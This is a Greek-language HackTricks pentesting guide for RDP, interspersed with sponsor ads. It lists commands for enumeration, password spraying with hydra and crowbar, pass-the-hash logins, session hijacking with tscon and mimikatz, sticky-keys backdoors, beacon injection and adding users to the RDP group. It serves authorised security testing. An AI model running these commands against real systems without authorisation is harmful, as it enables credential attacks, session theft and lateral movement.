hacktricks/network-services-pentesting/pentesting-rdp.md

14 KiB
Raw Blame History

3389 - Pentesting RDP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud

Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Basic Information

Αναπτυγμένο από τη Microsoft, το Remote Desktop Protocol (RDP) έχει σχεδιαστεί για να επιτρέπει μια γραφική διεπαφή σύνδεσης μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη RDP χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή RDP. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη τοπική συσκευή του χρήστη.

Default port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatic

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Ελέγχει την διαθέσιμη κρυπτογράφηση και την ευπάθεια DoS (χωρίς να προκαλεί DoS στην υπηρεσία) και αποκτά πληροφορίες NTLM Windows (εκδόσεις).

Brute force

Προσοχή, μπορεί να κλειδώσετε λογαριασμούς

Password Spraying

Προσοχή, μπορεί να κλειδώσετε λογαριασμούς

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Συνδεθείτε με γνωστά διαπιστευτήρια/hash

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Έλεγχος γνωστών διαπιστευτηρίων για υπηρεσίες RDP

rdp_check.py από το impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP:

rdp_check <domain>/<name>:<password>@<IP>

Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud

Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Επιθέσεις

Κλοπή συνεδρίας

Με δικαιώματα SYSTEM μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου.

Αποκτήστε ανοιχτές συνεδρίες:

query user

Πρόσβαση στην επιλεγμένη συνεδρία

tscon <ID> /dest:<SESSIONNAME>

Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε την δυνατότητα να προσποιηθείτε έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows.

Σημαντικό: Όταν αποκτάτε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε.

Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)

Mimikatz

Μπορείτε επίσης να χρησιμοποιήσετε το mimikatz για να το κάνετε αυτό:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Συνδυάζοντας αυτή την τεχνική με stickykeys ή utilman θα μπορέσετε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποιαδήποτε στιγμή

Μπορείτε να αναζητήσετε RDPs που έχουν υποστεί backdoor με μία από αυτές τις τεχνικές ήδη με: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Αν κάποιος από διαφορετικό τομέα ή με καλύτερα δικαιώματα συνδεθεί μέσω RDP στον υπολογιστή όπου είστε διαχειριστής, μπορείτε να εισάγετε το beacon σας στη διαδικασία συνεδρίας RDP του:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn είναι ένα πλαίσιο μετα-εκμετάλλευσης που έχει δημιουργηθεί σε Powershell, σχεδιασμένο κυρίως για να αυτοματοποιεί την επίθεση Shadow σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (καταχωρημένη ως χαρακτηριστικό από τη Microsoft) επιτρέπει σε έναν απομακρυσμένο επιτιθέμενο να δείχνει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του, και ακόμη και να την ελέγχει κατόπιν αιτήματος, χρησιμοποιώντας εργαλεία που είναι εγγενή στο ίδιο το λειτουργικό σύστημα.

  • EvilRDP
  • Έλεγχος του ποντικιού και του πληκτρολογίου με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
  • Έλεγχος του clipboard με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
  • Δημιουργία ενός SOCKS proxy από τον πελάτη που κατευθύνει την επικοινωνία δικτύου προς τον στόχο μέσω RDP
  • Εκτέλεση αυθαίρετων εντολών SHELL και PowerShell στον στόχο χωρίς να ανεβάσετε αρχεία
  • Ανεβάστε και κατεβάστε αρχεία προς/από τον στόχο ακόμη και όταν οι μεταφορές αρχείων είναι απενεργοποιημένες στον στόχο

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud

Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks
{% endhint %}